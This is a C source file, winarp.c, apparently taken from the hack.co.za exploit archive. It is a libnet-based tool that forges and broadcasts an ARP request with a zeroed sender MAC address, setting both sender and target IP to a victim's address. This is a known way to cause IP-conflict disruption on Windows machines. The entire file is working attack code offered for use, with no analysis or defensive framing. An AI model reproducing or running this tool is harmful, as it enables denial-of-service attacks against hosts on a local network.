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winarp.c
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C/C++ Source or Header
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2005-02-12
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3KB
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109 lines
/*
* Copyright (c) 1998, 1999 route|daemon9 <route@infonexus.com>
* All rights reserved.
*
* Modified to winarps.c 1999 by kay <kay@phreedom.org>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#include <libnet.h>
u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
u_long ip_dst = 0;
void send_arp(struct link_int *, u_char *);
#if (__linux__)
#define IPOPT_SECURITY 130
#endif
int main(int argc, char *argv[])
{
int c, count = 1;
char errbuf[256];
char *device = NULL;
char *address = NULL;
struct link_int *l;
while ((c = getopt(argc, argv, "i:d:c:")) != EOF)
{
switch (c)
{
case 'i':
device = optarg;
break;
case 'd':
address = optarg;
ip_dst = name_resolve(address, 0);
break;
case 'c':
count = atoi(optarg);
break;
default:
exit(EXIT_FAILURE);
}
}
if (!device)
{
fprintf(stderr, "Specify a device\n");
exit(EXIT_FAILURE);
}
if (!ip_dst)
{
fprintf(stderr, "Specify destination\n");
exit(EXIT_FAILURE);
}
if ((l = open_link_interface(device, errbuf)) == NULL)
{
fprintf(stderr, "open_link_interface: %s\n", errbuf);
exit(EXIT_FAILURE);
}
send_arp(l, device);
exit(EXIT_SUCCESS);
}
void send_arp(struct link_int *l, u_char * device)
{
int n;
u_char *buf;
buf = (u_char *) malloc(ARP_H + ETH_H);
if (!buf)
{
perror("no packet memory");
exit(EXIT_FAILURE);
}
memset(buf, 0, ARP_H + ETH_H);
build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src,
(void *)&ip_dst, enet_dst, (void *)&ip_dst, NULL, 0, buf + ETH_H);
n = write_link_layer(l, device, buf, ARP_H + ETH_H);
printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
}
/* www.hack.co.za [2000]*/